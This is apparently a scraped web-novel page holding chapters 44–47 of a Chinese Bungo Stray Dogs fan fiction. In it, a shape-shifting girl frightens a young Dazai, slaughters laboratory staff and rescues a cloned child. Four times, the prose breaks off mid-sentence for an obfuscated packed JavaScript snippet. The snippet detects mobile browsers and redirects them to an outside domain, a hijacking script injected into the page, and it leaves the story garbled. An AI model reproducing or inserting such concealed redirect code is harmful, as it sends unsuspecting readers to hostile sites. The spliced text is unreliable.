几乎是同时,在茶几边趺坐阅读的孩子如有所觉地蓦然回头,起身往身后的书架缝隙处走来,他仿佛在寻找什么书目那样走了几个来回,甚至伸手摸了摸书格的空余处,但一无所获。 ……没有人在,什么人类留下的痕迹都没有。 但是,灰尘的走向变了,空气中弥散着一点似有似无的血腥味。 ……不是错觉。 以小太宰天生自带的观察力,哪怕不是呆过这么久,只是随便看上一眼,房间里边的东西有什么细微的变化,他也一清二楚。 所以,也是他自己发现了…… “房间里边,有妖怪。” 他轻轻倾吐了这个最新出现的秘密。 …… 月色显得凄惶,透过院落里头被修剪得颇具枯山水味道的山石、枝杈照了下来,透过窗纸映在床头。 但本来应该被仆人早早哄睡下的孩子,现在却避开了其他人的耳目,翻身起床,坐在了床边,把自己笼进了凌乱的树影里头。 这实在是个太过适合遇到些不干净东西的时刻……但小小的太宰似乎全无害怕的意思。 他好像在等待着什么那样乖巧地坐着,跟白日里不同地,似乎满心欢喜地缓缓晃着腿。 ……实在是没有人能忍心让他空熬一夜,在他做出如此明显的异常反应之后,让这份莫名产生的“想跟你见面”的约定落空。 即使原本没有相见意思的“妖怪”也不能。即使她很怀疑小少年也完全清楚这一点。 终于,月上中天,只穿着单衣的小少年仿佛身上都要沾了露水时,空空的房间里头,传来了闷闷的,好像从罐子里头发出来的“妖怪”的声音。 “你在等待我吗?” 44.第44章 被诱捕到了,我。 如是强烈的预感在永末心里翻覆了一下,没有激起多余的水花,跟往昔的无数心绪一样沉了下去。 也可能是因为她现在的状态不支持那么精确的人格模块。 不管“津岛”这个名字,在上流世界还有多少的威慑和权势可以支持住外在的面子,对于永末来说,它最讨厌的一点是,这个家族在老宅的建筑里头,居然没有安装任何电子设备。 监控,没有;带摄像头的电脑,没有;居然连一个能拍照的新式手机,还是没有。 这也意味着要从里边见到“太宰”这个目标,不能通过无形的眼睛“看见”,永末必须得亲身前往。 很麻烦。 永末其实不属于会自讨苦吃的类型……为什么要在没什么必要,甚至还要花精力试错才能实现的,无关紧要的事情上浪费时间呢? ……为什么突然想在这个时候去见一眼自己的攻略对象呢? ……明明计划其实还有可以补充的细节,也有别的可以在这个时间点上进行的行动。 永末有时候也不太理解自己的想法,人连上一刻的自己也没有办法共情。 但总而言之,她还是出现在了这里……至少是,一部分出现在了这里。 小小的少年微微转回头,用目光在阴影和视觉死角中仿佛无意般蜻蜓点水地一掠而过,还是什么都没有……仿佛真的存在某个看不见的妖怪,在出声对他说话。 那双嵌在他脸上的黑色眼睛轻轻一闪,在月辉下依稀倒映出了一点虚伪的高光,让他显得居然有几分属于孩童的好奇。 “你在哪里呢?是什么的‘妖怪’……?”他做出了回忆着什么的表情,用随心所欲的语气猜测道,跟先前循规蹈矩的样子显得完全不一样,“家里有很多九十九年以上的旧物了……白天是在书房里边第一次发现你,所以你是哪本书的付丧神吗?” 月亮,反射了太阳的光芒,才仿佛是存续夜空的发光体,而太宰此刻眼睛中温柔的光线,是比那个还要更深一层的伪物。 ……我是讨厌这样的他吗?还是想要从他身上得到什么答案……?永末散漫地想道,试图想要把自己也摊成一张白纸剖开,但复杂的,连自己也不能完全解明的困惑源源不断地在直面这张脸时扑面而来。 “我是……鬼故事里边的那种‘妖怪’。”在试图分析自己时,她没有忘记敷衍小孩。 妖怪仿佛在说什么确定会发生的宣告一样,用被闷住的声音说道。 “看到我的小孩,就要承担被我吃掉的风险。” 说话间,少年已经轻巧地从床头跃下来了,他没有遗漏穿鞋,但就算穿着木屐也显得过分轻盈,连一点多余的动静都没有发出。 他居然还显出十成十的高兴。永末分不清是不是伪装。 事实上,永末总感觉他在听见“会被吃掉”这句话,眼睛立即变得更亮了…… “……是吗?可是妖怪桑给人的感觉不像是坏人,我还没有试过被妖怪带走是什么感觉……是躲在哪里呢?”小太宰说着,伸手挨个去确认着之前怀疑的地方,窗缝、书桌上书和书的间隙、倒扣在桌上的碗…… 仿佛在跟怪物玩捉迷藏的不懂事的小孩子,他说着三二一,离“鬼”越来越近,自己就跟自己就玩得分外愉快。 不,不对……是她压根没有被相信。永末明白了,太宰应该是知道“异能力”的存在的,于是把她当作依靠异能力入侵宅邸的人了。 这种类似捉迷藏的行径,也不过是在进行心理施压,想让莫名落进躲藏者境地的人,在被逼迫时流露出更多的破绽而已。 从某种意义上,他没有猜错。 “诶呀,都不在这些地方,我是真的很想见到妖怪桑的……会是可爱的女孩子吗?”小太宰吐口了轻浮的话语,他这个年纪说这种话只让人觉出装大人的好笑,但他说话的同时,却垂下了眼睛,精确地透过床上的缝隙,跟床底借由杂物藏匿自己的存在对视了。 “……躲在罐子里边吗?妖怪桑?”明明比妖怪更像妖怪的家伙问道。 ……啊,原来一早就发现了吗? 永末有点恍然,也就在她理解的同时,小少年已经毫不介意灰尘地半蹲下身,手指精确地拈上了目标。 ……湿软的触感,仿佛一块离体的血肉。 是能短暂拆分肢体的异能力吗?小太宰随意揣测着,原本略提升的兴趣,在谜底公布之后,浪潮一样回落了。 不论是什么样的异能力,遇上了人间失格,都一定会显出原型。 除非他遇到了……真的“妖怪”。 “为什么……一定要‘看见’我呢?”怪物不隔着罐子,真实的声音,是幽冷的。 “……太过好奇的小孩子,会被神隐的。” 粘稠的血液好像在直接顺着手指在往上攀爬,并没有因为接触而失活,带来异常恶心的触感。 想象力过于强大,外加并没有亲眼见到目标物,让太宰完全能模拟出现状,又同时因为未知,本能地诱发恐惧。 “哇(唔)……”那团突然暴涨的血肉……或者其实是液体,在短短地一秒内覆盖缠绕住他的手臂,而后顺着肩颈直接扼住他的喉咙,让他可能进行的呼救被卡在萌芽中。 随后下一秒,显露出真容的猎手彻底捕获了猎物,那团既类似血液组织,又好像兼具肉块的怪物,已经在短短的一秒内生长抽条,盘踞出类似成人大小的体型,它冷酷骇人地包裹了鲜活的心脏还在跳动的猎物,一瞬间将他一同扯进了床底下。 猎物完全没有挣扎。 【已检测到攻略目标好感波动,当前好感度:30(61)】 * ……捕捉到了难得的猎物啊。 永末很难说在这声好感提示响起来之前,她有没有被不知不觉间逐渐满涨的杀意所蛊惑,真的有一瞬间想要杀掉他。 杀掉这个,还不清楚之后发生了什么,也对他们之间可能诞生的一切蒙昧情愫毫无感情,单纯把她当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148227|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作被招惹到的怪物的太宰治。 即使是现在,她感觉自己内心里冰冷的衡量也没有终结。 但被血膜和肉块所蒙住口鼻,在极短时间内被迫推向死亡的小少年微微睁开眼,似乎想要看清周围的黑暗,好像一只被残酷的琥珀所凝固的昆虫……从肉膜外侧凝结成的,一只冰蓝色眼球随之注视着他。 之前小少年身体本能的颤抖和心跳加速,在这份恐怖的对视下居然放缓了,不,应该说在最开始被拖下来的时候,他就没有挣扎反抗的意思。 他好像看到什么梦寐以求的东西那样,跟怪物对视的,空茫的眼中出现了如梦似幻的喜悦。 现在太宰的生死确实全乎在她一念之间………在这里吃掉太宰的话,也算是一种违逆时间吧。 那样整条可能性,就完全消磨了……那样到底、到底会发生什么呢? 而另一个念头也随之出现了,难道是因为这次遇见,所以才会导致之后他那样对待她吗? ……因变成了果,果逆转回去成了因? 并不太像,如果是那样,太宰应该不至于要对她的能力再做试探才对。 那么…… * 永末现在不算是完全的本体在这里。 事实上,在缺少类似超越者级别的能源时,她并不能做到这么强大的恢复力,如果不把自己沉进系统的运算中,她也不能分出身体意识进行肢体操控,更别说像之前面对黑洞时同时分出好几个人形。 这次能勉强模拟那种对战魏尔伦的非人形态,还是她在实验室里边找到了残缺的“特异点”作为能源。 ……不能在用系统模拟思考的情况下做出决定。不然一定会后悔的。 这个短暂的,说服自己的闪念滑过永末脑海的瞬间,所有残酷地把人拖向死亡的异常肢体松动了一线。 弥足珍贵的氧气浮了上来,小少年呛咳了一声,从死亡彼岸的最后瞬间回程。 他在之前的人生中倒是还没有遭遇过这样惨烈的对待,至少没有遭遇过这种程度的体罚,没有立即晕过去已经是他意志坚强了。 永末觉得有点遗憾,但她至少现在理解了,我想探明的东西,大概只能在“未来”的太宰身上得到。 现在还太早了。 ……那么也没有再留下的必要了。 小太宰还没法理解控制身体,但他已经感觉到黑暗的床底下,那个从始至终没有露出过真容的怪物窸窸窣窣从他身上离去。 被放过了。事实清晰明确,但小太宰没有任何得脱大难的欣喜。 只有被厌弃被无视、惊喜盒子突然对他关闭的不适浮现。 “你,咳咳……不是说好要‘神隐’我的吗?” “……妖怪小姐?” 罐子里边空无一物,床下也只剩下还被困在笼中未展翅的,甚至未得名的小少年。 ……一切尚未长大,一切尚未发生,一切尚未命名。 只是普通的,夏夜怪谈故事而已。 45.第45章 另一边,第二实验室,某个寻常的工作日。 “啪。”不起眼的实验员抱着资料走在走廊上,像是每一个行色匆匆的工作人员一样,经过房间里头的实验装置时,其中一个圆筒中穿来了有什么击打在内壁上的声音。 他似乎被这个动静所惊动,微微顿了顿,停下脚步,回头看了那个装置一眼。 比起罐头,用“茧”来形容这个装置或许更合适一点。 青黑色的液体灌注在“茧”中,但没有完全浸没那个孩子,那张跟中原中也几乎完全一致的面容沉在深色的“胎水”中,显出朦胧的美感。 他仿佛已经知道自己的命运,甚至明白自己即将面对什么那样,手掌和脸颊都挤在了屏幕内侧,用陌生又隐约含着期望的目光看向外头的实验员。 “喂!发什么呆呢……!今天是总负责人N先生来巡视实验进度的日子,小组汇报的会议准备做好了吗?” 正跟他对视的实验员被路过的好心工作人员肘了一下,回神般地重新低下头。 “……抱歉。”他把声音放得慢了一点,以免声音里边过于鲜明的冷淡溢出,让人发觉其中的陌生感,造成什么不必要的麻烦。 他没有再去看一眼那个孩子,倒是过来查看的那个工作人员回头看了看他所注视的方向,有点不解地自言自语,“……已经用废了的材料,有什么好看的……?” 让人有点陌生的实验员没有作声,只有半搁在刘海中的黑色瞳孔微微抬起,往说话的人脸上转动了一下,那只眼睛暴露在冷色的led灯下,似乎隐隐透出底下某种稍浅的蓝调。 工作人员被这一眼莫名震慑住,研究员重新低下视线,“……前几次来实验室的时候,还一直没有碰上过N先生过来汇报会议,我这就去做好……最后的准备。” 说完,他加快脚步丢下了对方和实验装置。 很有意思。他,或者说,正在用拟态模拟实验员的永末尚夏,这么想道。 把弥足珍贵的宝物当作废品。不过那样也方便我盗取火种了。 “茧”中盛放着的,对于其他人来说是“废弃品”,但对于她来说,却是整个实验室最珍贵的宝物…… “中原中也”的原型。 或者说,证明中原中也才是原型的活体物证。 那孩子有着跟中也一样的样貌,但却没有抽中“重力”这张手牌,留给他的只是一个自我矛盾的异能力,没有什么用处,一旦使用就会诞生特异点……因而诞生的重力能量会把他连同周围一起一起摧毁掉。 他也正是因此被选中了。被从家带到了实验室里。 他诞生的特异点制造了荒霸吐,但实验室把重力留给了中原中也,把被摧毁的命运留给了他,现在的他只能由机器维系着生命,一旦从罐头里出来,那些青黑色的液体流尽,他会很快地迎接死亡。 简直像是祭品一样的存在。永末有点感叹地想……像是为了荒霸吐诞生献上的祭品一样。 或者说,他像是中原中也的“背面”。 永末回忆起了她跟那孩子先前的对话。 前一次的潜入,她凑巧被打发去给那个孩子更换培养液。 深色液体缓缓地从罐头里边被抽取,里边酷似中也的孩子原本看着他试图说点什么,很快就因为痛苦,宛如离开水的鱼一样挣扎着倒下,挣扎的动作过大,他的身上甚至隐约露出了被改造的痕迹。 ……即使已经是用过一次的废弃品了,还在被继续实验吗? 永末很难想象在实验室中呆上几年的实验品的心态,最开始也许是被家国大义什么欺骗而来的,但很快应该就能在残酷的对待中理解了“自己只是耗材”的事实。 那么……会因为无望的折磨而产生斯德哥尔摩吗?会把秘密泄露给实验室一方吗? 但就算有这种风险,永末还是在按下重新注入液体的按钮时,在给里边掺上了几滴她的血。 随着混浊的液体涌入,她的声音也同样浮现在了逐渐缓过气息的孩子耳边。 “之前几次见面的时候,你似乎有认出我……我想我们已经拥有了默契。” 隔着玻璃罩和让视线扭曲的流体,外边嘴唇不动,连眼神也没有互相接触,完全陌生的实验员,传来了隐秘的交谈。 孩子微微一怔,好像呆了一秒,但很快地,他在装置内壁上用手指画出了一个圆。 “那么长话短说,你想离开实验室吗?即使脱离维生装置可能会有死亡的风险,你是愿意留下继续进行实验,还是等待时机,选择跟我走?” 永末做过糟糕的预设,但孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168598|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子比她所想的坚定果决。 几年的实验室遭遇没有摧毁他的理智,也没有摧毁他交付信任的能力。 “我想走……带我出去。”这次没有画圆,孩子努力在罐头里边挤到内侧,做出口型。 就算被黑水染透,那团在水体中漂浮的橙发依旧灼热,永末从那双熟悉的蓝色眼睛里边读出了他的意志。 “就算是死……我也不要死在这里。” …… 正常运行的研究所里头充斥着各色警卫和研究人员,好在她现在伪装的实验员级别够高,永末顺利通过了几重校验,快步打开了会议室的大门。 之前为了防止意外和麻烦,永末前几次都是避着N行动的,这还是在见证了N的死亡之后,她第一次再看见他。 对她来说是久别重逢,对N来说是初次见面……尚且没有被病痛和岁月摧残的N,跟着大门打开的声音看向了门口,脸上是会议被打断的不快,但他的表情迅速地,在几秒内发生了变化,“你……” 其他参会人员尚且没有意识到,但他已经瞬间发觉了,此刻出现在门口的…… 并不是他认识的任何一个研究员。 “你迟到……呃……”出言责备的研究员卡住了。 众目睽睽下,宛如鬼怪褪去画皮那样,门口的黑发实验员轻轻从颈下拉了拉,把整个脸直接拔了上去,从底下露出了一张全新的、无表情的人面。 他、现在应该说是她,似乎不太适应脑袋顶上还卡着半张脸,或者是刚刚当人有点不能操控新身体,甩了甩满头蓝色的长发,“咔哒”一声活动……扭转了脖子。 先前出声的研究员默不作声地瘫软了。 即使那张新出现的脸显得再绮丽精致,也绝对无法撼动见证这一幕的人的恐惧了。 倒不如说,从内里剥离的少女越是精美,此刻越是叫人毫无绮念。 不知道谁先发出了一声本能的“啊啊啊啊啊啊啊——”惊叫惊破了默剧般的一切。 慌乱的人群立时发出各种理智崩溃的噪音,遮蔽了N把众人护至身前逃往安全通道,同时高呼“安保——”的声音,也遮蔽了少女甩掉白大褂,从羽织中拔出一道刀光,飞身点地,颇有兴致的宣告。 “It''s show time。” 46.第46章 “斩首”行动的要点就在于快速和精确,最好如同飞叶摘花,刀锋掠过三秒之后椿花才能察觉自己正从枝头坠落。 但比较遗憾的是,N本身的观察力和对所处空间的掌控力,决定了对他“斩首”的成功概率不大,而永末首要目标也不只是想见证他的死亡。 她想要最大可能地终止用无数无辜者的人命堆出人造兵器的行为。 她想要彻底毁掉整个实验室。 ……她不想再看到任何一个新的被困在茧中的“中原中也”了。 这本来对于永末来说还是有点难度的事情。 虽然说出来有点伤人,但永末的能力偏向于单兵作战,她的能力储备中急缺一个大规模的光炮,并不能随手掏出一个魏尔伦那样一次性地清空某个范围的杀伤性技能。 但命运这次眷顾了她……在之前的潜入中,永末在跟原型接触时有了意外收获: 那种一直不断让他身体恢复,折磨着他吊着痛苦的最后一口气,维持他生命体征的青黑色液体……居然对于永末来说也是绝好的增殖催化剂。 于是,事情顿时就变得简单起来了。 …… “紧急事态!未知入侵,呼叫士兵——!启动N865方案!” 急促的呼吸声随着命令一起传达下来,N一边厉声对着逃生通道里的传呼机说道,一边单手握拳砸在通道关闭按键上。 他的另一只手则是按着自己的颈部,手指缝里头缓缓渗出一片鲜红。 ……差一点,就差一点,N后怕着抬起头看向外间,只要刚刚的袭击偏开一点划开动脉,他就横死会议当场了。 之前N借由人群隐没自己的行为压根没多大用处。 那些原本一言就能决定实验体生死的研究员在面对真实的死亡时,宛如一群迎接老鹰的小鸡仔,连逃跑都能把自己绊倒,何况说是直面上入侵者为他争取时间了。 真的拯救他的,是他一贯安在自己身边,随身保护自己的实验体。 刚刚刀锋吻上他脖颈时,说时迟那时快,贴身护卫的,受制于他的废弃实验品在程序的设置下自动弹出,为他拦下了这致命的一刀。 这才给他留下了连滚带爬蹿进逃生通道的时间。 “咣”、“乒”,通道外的争斗还在继续,转瞬之间,突然跳出来被改造并且抹去了自我意识的、不成人形更类似机械生物的“活人”,已经跟入侵者互相交锋了数个回合。 非人的速度让所有攻击都模糊成了一条条看不清的动线,只能看到腐蚀性的深色液体和鲜艳的血色都好像不要钱的颜料一样在空中泼开,有一滴血正溅到了他的皮鞋上。 ……挡住了,但还能挡住几秒? “正在检测权限……成功通过。”逃生通道特制的金属阀门,关闭了就无法从另一侧再开启,在检测光线扫过他的虹膜后终于开始闭合,短暂的一两秒居然显得如此漫长。 “总研究员——不要留下——呃!” 被抛下的其他研究员意识到了危险,避开入侵者的方向想乘乱跟着他离开,但之前突然跳出来的、不成人形更类似机械生物的“活人”拦截在大门之前,却没有对他们手下留情,机械的钢丝转瞬穿透第一个越线者的心脏,化作坚硬的一条带血的金属细线把他钉死在了墙壁之上,剩下的几人只能抱头蹲去角落,而被机械的高速袭击阻拦的蓝发少女,趁这个间隙,猛地脱手抛出手中的刀刃。 那点刀光伴随着仿佛某种水流的声音疾速冲近……死亡的气息随之而来。 “铛!呲……”千钧一发,大门关闭,刀气撕开了大半金属,极度凶险地擦伤了N举起来拦在脸前的手臂。 随着铁门的缝隙闭合,入侵者平静冷淡的蓝色眼睛也随之被关在门外,逃生通道化作一枚临时的电梯,猛地下坠,带离了一切。 ……结束了吗? N有一瞬升起了这个念头,他无比期望入侵者只是单纯凭借伪装的能力混进了实验室,那样他跟士兵汇合之后就会安全了。 但对讲机对面的话筒里头不断传来“噗嗤”、“咚”、“咣”之类的声音,却没有一句答话时,他也无法再欺骗自己了。 事情并没有结束。 在N看不见的外间,他的指令并没有如臂使指地下达,隐约察觉的救援的士兵正在组织前来,但本该庇佑他们的实验室安保系统仿佛失灵了一般,数道闸门唐突落下,将庞大的实验室切分成了众多的密闭空间,将近在咫尺的救援部队也分割在不同位置。 而与此同时,好像是什么恐怖游戏中的CG场景一样,在不起眼的角落、通风管道内部、天花板头顶之上,许多异化的肢体正在青黑色的茧液中疯狂增殖着,在汲取了足够的能量之后,以指数级地暴涨开来,摧毁了沿途的一切。 永末正常来说是没有办法完全把本身的自我意识切分出成千上万个投放在不同身体里边的,好在这次倒也不用多精细的操作,她只是单纯地用增殖的“自己”填满了整个机构,从物理意义上堵塞了救援的可能。 “救……”、“啊啊啊啊啊——!”、“不不不——!” 地狱绘卷不曾对着N开放,他只能通过耳朵隐约感觉到其中的冰山一角……重物倒下的声音,玻璃或者金属碎裂的声音,子弹的声音,身体被撕开的声音,士兵恐惧的声音,研究员的哀嚎声,实验体逃跑的声音…… 庞杂的噪音混合在一起,汇集成N心中微弱的恐惧:“汇报当前情况!” “滋……”头顶的LED灯闪烁了一下,短短的十几秒后,不知道是不是实验室中哪里系统过载,还是什么电路遭了损毁,整个大型实验室都停电了,眼前的对讲机在亮起红灯之后,只留下一片寂静。 “……该死!”N对着报废的对讲机说道,同时伸手去摸腰间的枪支。 逃生通道和它会通往的地方,设计时使用了备用电源,N所在的地方倒没有因为突发的入侵意外而受到影响。 但现在的境况,已经不是他抛开其他不必要的人逃跑了,而是他在这么做的时候,也被其他人所抛开了。 “不,还没到认输的时候……”N没有放弃,危机中他冷酷的意志压制了恐惧。 “电梯”摇晃着停下后,他身后新的通路随着“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195035|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴”声打开,N没有犹豫,从腰间拔出枪支,顺着走廊奔去了。 那里是实验数据的备份数据库,在离开此地之前,他必须从里边尽可能地带走重要的部分。 …… 备用电源兢兢业业地工作着,荧光倒映在N的脸上,N飞快地根据程序要求,键入自己的私钥,校验指纹和瞳孔信息。 在紧张的气氛下,似乎每一秒都无比漫长,N即使知道自己离开后已经锁上了出来的通道,但总觉得房间里头还有另外一道呼吸。 他情感上怀疑真的有另一个人存在,但又理智地明白这不可能。 这地方的通行方式只有他知道,哪怕是其他人用那个电梯逃离,程序设定的路线也不会通往这里,除非催毁整个实验室,不然不会有什么危险能波及到这里。 “……成功。”随着最后一个字符键入,回车被按下,N稍微松了口气。 接下来只要等待上传……这个念头尚未转完。 【Error:未知错误。】 红色的警报框在他眼前闪出,跟其他网络完全隔断的数据库仿佛又一双无形的手被人操纵着那样,宝贵的,用无数的人命堆积的数据,正在被人毫不怜惜地一键删除。 N看得出来入侵者在做什么操作,这不是在转移数据,而是在清空数据库。 “不——!”即使是心性坚强如N,在面对这么多人这么些年的心血被入侵者践踏的时候,有一瞬间也忘却了恐惧,他扑上去想去抢救数据,但来不及了,一把雪亮的长刀已经一下扎进了他的后腰中,来人拧转了一下,稳稳地穿透了他的腰椎再拔出,几乎把他一刀两段。 N扑倒在电脑跟前,血扑簌簌地往下流淌,他直不起身体了,只能从电脑的屏幕中看见身后的一切。 隐秘的暗杀者,那个不知为何突然出现,破坏掉这一切繁荣之景的敌人,从他身后的阴影中踏出,像是一道鬼怪的影子一样,冷静,神秘。 一切全在恶鬼的罗网之内,好像在他不知道的时候,无数秘密的陷阱已经为他所架设,只等他或有所觉,或无所觉地踏入其中。 “为、为什么……”N支撑着勉强说道。 “那些数据……多有价值……你,你应该理解的,为什么……?” 少女从他身后左手扯过他的头发,把他从桌上拉起来,右手顺滑地挽刀搭在他颈上之前结痂的刀口处,没有回应的意思。 不管是怎么找到这里的,还是为什么要做这一切,她看起来都不打算揭露答案,只一心想要他的命。 这是N第一次认真看着屏幕上映出的入侵者的脸,他不觉得自己能活下去,但也许会把这张精致而无人气的脸一直记到地狱里头。 外表纤弱的蓝发少女似乎觉得不顺手,改手揽着他,仿佛揽着一把提琴,而手中的长刀仿佛一把锋利的琴弓,她神色平淡地,好像即将面对一场乐队演出一般。 在动手之前,似有所触动,少女终于说了来这里第一句也是最后一句话。 “很有意思……现在轮到你拼命拖延时间了。” 刀锋划下……异变骤生。 47.第47章 电光火石间,让人始料未及的爆炸在两人间猝然降临,猛地撕开了两人的距离,密闭空间里头的爆炸让这个房间里头的承重柱出现了些许的塌陷,天花板也因此出现了部分塌方,物理隔开了两人。 “……”几秒后,永末勉强弥合了伤势,拨开身上掉落的砖瓦,从一片黑暗中坐了起来。 N果然还留下了后手,但他居然把炸弹直接安进了自己的身体里! 那么现在问题来了……N到底有没有死? 如果是正常人类,那样的伤势没有活下去的可能了,但N既然身处实验室……他到底有没有给自己也进行过什么实验,可能让他逃过一劫? 原本永末觉得身体可以恢复,但大脑很难……如果她带走N的脑袋,应该就可以确认N的死亡了。 但现在……永末看向四周。 这次就算是备用电源也救不了了,房间的电路被损毁,原本的顶灯熄灭,她现在仿佛被装进一个漆黑狭小的棺材中,伸手不见五指。 在这种条件下,要去把不知道炸到哪里的N给刨出来……? 永末一时无处下手。 而且她现在还能完好无损地坐在这里,没有被时间线弹出去,似乎也是命运做出了什么宣判: “这次也是徒劳无功,你依然在命运的圈养中。” 永末没能再想下去,意识深处的系统发来了紧急呼叫: 【夏夏!救命!你养的那个小礼物要死了!】 在做出决定前突然遇到这种加码,简直好像是命运的新一手落子,让她注定无法亲眼确认N的死亡。 但……确实不能放着不管。 永末从纷杂的事态中猛地拔出思绪,下了决断。 【先带他走。】 …… 玩家的意识转移到新的战场,被深埋在废墟里边的少女好像废弃的人偶一样停止了呼吸,而全新的永末尚夏从另一边的那堆血肉中生长出来。 永末并没有全数长出自己,仅仅是先再生了眼睛。 原本干净、简练,颇具军方和科学双重气质的房间此刻已经被刺目的红色所填满,异生的血肉挤满了每一寸空间,好像几分钟前有什么巨人提起整个房间,径自把它沉进了某个刚刚打发过尸体的搅拌机里一样。 亲眼见证自己所酿造的地狱,让永末本能地停滞了片刻,但系统在耳边一个劲叫魂,她只能先按下多余的心情,将视线移动到之前所见的“茧”上。 一如系统之前所说,它外侧的圆筒结构似乎裂开了一条缝隙,其中的青黑色液体正在以肉眼可见的速度往外溢出。 里头的小少年似乎有所察觉,正在努力自救,有一道青白的手印压住了那道缝隙。 N的后手果然不止是埋在自己身体里边的炸弹,事实上,永末怀疑是整个实验室启动了某种自毁程序。 自毁程序在现在也并未停止,数道承重墙依次被程序引爆,在她降生在这个房间的短短几秒内,已经有好几处塌方导致的“受伤”信号传递到她的意识中了。 而“茧”只是不幸被爆炸的冲击波及了。 【这样下去,实验室有彻底封闭的风险……不,应该原本的设计就是这样的,把入侵的敌人一起埋在里边。】系统紧张地测算着,提醒道。 永末眨了眨眼睛,以示回应,【还有多少时间?】 她其实不怕所谓的封闭,只要留有能溢出一滴血的缝隙,即使实验室全部塌陷了也关不住她,但“礼物”需要一个安全的、能让一个活人离开的通路,不然等待他的只有当场死亡和慢性死亡。 那不是她想看见的。 【33秒。】系统同步地给出了回应。 【按照计划行动吧。足够了。】 一念既定,言出法随。 一切宛如摩西分海,红色的血肉海洋互相挤压,硬生生地开辟出一道半米左右的空洞。 同一时间,宛如什么怪诞的噩梦,无数交叠重合的手臂生长出来,撕开了已经存在裂隙的“茧”,帮助其中的小少年破茧而出。 青黑色的液体从里头黏稠着涌出,又被外侧催生出的肉膜兜住,跟小少年一道被裹成全新的果实,而那些惨白的手臂从红色的海洋中接力托举着那枚半透明的果实,从分裂的通道中离开。 如果小少年能看清外边发生的事情,恐怕对永末尚夏的认知会有一百八十度大转弯,但他的身体状况阻碍了这一切。 人肉催生的临时屏障不能完全阻碍维生液体的泄漏,在深色液体逐渐渗出的同时,他的身体先一步有了崩溃的征兆。 小少年歇斯底里地挣扎着、痉挛着、血从鼻子里口腔里涌出,跟还没完全流出去的维生液混在一起,而全程,那双蓝色的眼睛都只是冷酷地从外层凝视着他的反应。 需要付出多大的代价……才能逃离这里,才能去看一眼外界? 真实的代价重压到他身上的那一刻,他才真的理解。 最后一秒,几乎是被拖曳出去的小少年已经失去了所有力气,他兀地察觉眼前亮起,阔别了数年之久的,真实的阳光落在了他的身上,而他似乎是落在了谁的臂弯之中,有人扯下了覆盖在他身上薄薄的一层膜,让外部新鲜的风吹拂在他的脸上,但这也带来了宛如骨肉剥离一般的剧痛。 最后的蓝色填充了视野,不仅是渺远的、湛蓝如洗的天空,还是近在咫尺的,垂落在他身上的那抹瞳孔的蓝色。 陌生的,只有眼神有那么一点熟悉的蓝发少女平静地看着瘫软的他。 “我……”长久未能出声让小少年几乎忘记了怎么说话,不过他自以为在说什么,其实也没能发出声音,死亡的迫近和声带的失能让他只是动了动嘴唇。 我是不是要死了……他想这么问,却连眼前少女的表情都开始模糊。 永末尚夏的表情是彻头彻尾的冷静,这不是她接纳了这次行动的失利,倒不如说恰恰相反。 “……这样算是濒死了吗?”她平静地抬起脸,望向了终点。 那里原本等待的人已经全力冲过来,正蹲下身对小少年进行最后的检查,蝴蝶发卡在她的短发上轻轻晃动。 永末轻轻叫出了对方的名字。 “晶子小姐。” …… 未来的自己传递过来的那个联系方式,对面正是眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198985|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的少女,与谢野晶子。 请君勿死,她的异能力能带回濒死的生命,最后一块拼盘凑上,达成了此刻的成功。 异能力的白色光芒充盈在两人之间,让差不多已经99%死的小少年好像从噩梦中新来一样突然恢复了呼吸和心跳。 人命攸关的事态结束,被临时叫到这里的短发少女这才仔细看了一眼对方,永末正平静地回视她,仿佛抱着一个差点死了的少年突然出现是什么非常正常的事情。 永末中断提供给套装的积分,收回实验室里边的所有异常增殖,距离她们不到800米的地方,实验室最后的出口通道正在倒塌,把里头浓烈的血腥味一并掩埋,但传递到她们身边的只有微弱的震感。 一切显得风平浪静,和谐安宁。 与谢野晶子的表情逐渐变得困惑起来,她开口,“你是谁?为什么会有那个号码?我以为会见到……” 